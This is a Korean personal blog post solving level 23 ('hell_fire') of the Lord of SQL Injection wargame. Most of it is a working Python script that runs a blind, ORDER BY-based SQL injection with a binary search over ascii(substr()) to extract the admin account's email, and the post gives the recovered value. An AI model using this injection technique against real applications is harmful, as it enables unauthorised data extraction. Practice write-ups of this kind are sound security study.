Today I Learned …

[Lord of SQL Injection] 23번 hell_fire 풀이 본문

Wargame/Lord of SQL Injection

[Lord of SQL Injection] 23번 hell_fire 풀이

염베리 2021. 12. 16. 03:30

* 개인적인 공부 내용을 기록한 글입니다.


사담

풀긴 풀었는데ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 이게 맞나 싶다...

푸는데 시간이 너무 오래 걸려서 분석은 내일 추가하려고 한다.

다른 사람들은 어떻게 풀었는지도 좀 찾아봐야겠다...

아무래도 좀 더 고상한 방법이 있을 것 같다 ㅎ...


이전 문제

https://choco4study.tistory.com/111

 

[Lord of SQL Injection] 22번 dark_eyes 풀이

* 개인적인 공부 내용을 기록한 글입니다. 이전 문제 https://choco4study.tistory.com/110 [Lord of SQL Injection] 21번 iron_golem 풀이 * 개인적인 공부 내용을 기록한 글입니다. 이전 문제 https://choco4stu..

choco4study.tistory.com


23번 문제 hell_fire 분석 및 풀이

 

 

23번 문제는 다음과 같다.

 

 

LoS 23번 Python 자동화 코드이다.

import requests

def send(param):
    url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
    cookie = "sdrjk57hqa404dvtb3akcpfvk1"
    head = {"PHPSESSID":f"{cookie}"}
    my_url = url+param
    res = requests.get(my_url, cookies=head)
    return res.text

print("💘 LoS 23을 시작합니다")

for num in range(0,100):
    param=f"?order=if(id='admin' and length(email)={num}, 'id', 'score')"
    if("200</td></tr><tr><td>rubiya" in send(param)):
        print(f"👏 email의 길이는 {num}입니다!")
        break

ans=""

for len in range(1, num+1):
    start = 32
    end = 127
    while True:
        middle = round((start+end)/2)
        param=f"?order=if(id='admin' and ascii(substr(email,{len},1))>={middle}, 'id', 'score') %23"
        if("200</td></tr><tr><td>rubiya" in send(param)):
            param=f"?order=if(id='admin' and ascii(substr(email,{len},1))={middle}, 'id', 'score') %23"
            if("200</td></tr><tr><td>rubiya" in send(param)):
                print(f"{len}번째 문자 → {chr(middle)}")
                ans+=chr(middle)
                break
            else:
                start = middle
                continue
        else:
            end = middle
            continue

print(f"👏 email의 정체는 [{ans}]입니다!")

 

다음은 해당 코드의 실행 결과이다.

 

 

admin 계정의 email은 admin_secure_email@emai1.com 임을 확인할 수 있다.

* @ 뒷부분을 보면... emai1 이다. 깨알같은 함정?

 

답을 넣어보면,

 

 

23번 문제가 풀린다!

프로필사진
berry
FE Developer, loves React & better DX
Comments